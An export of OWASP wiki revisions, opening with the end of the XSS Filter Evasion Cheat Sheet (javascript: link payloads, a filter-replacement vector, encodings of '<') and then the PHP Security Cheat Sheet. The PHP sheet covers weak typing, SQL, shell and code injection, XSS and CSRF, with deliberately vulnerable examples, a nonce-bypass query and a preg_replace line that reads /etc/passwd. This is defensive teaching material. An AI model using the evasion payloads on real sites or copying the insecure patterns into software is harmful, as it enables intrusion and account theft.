 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http://www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.gohttp://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&lt;br /&gt;
= Character Encoding and IP Obfuscation Calculators =&lt;br /&gt;
&lt;br /&gt;
This following links include calculators for doing basic transformation functions that are useful for XSS.&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:Popular]]&lt;br /&gt;
[[Category:OWASP_Breakers]]&lt;br /&gt;
{{TOC hidden}}&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184340</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184340"/>
				<updated>2014-10-30T08:41:40Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Unhelpful builtins */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
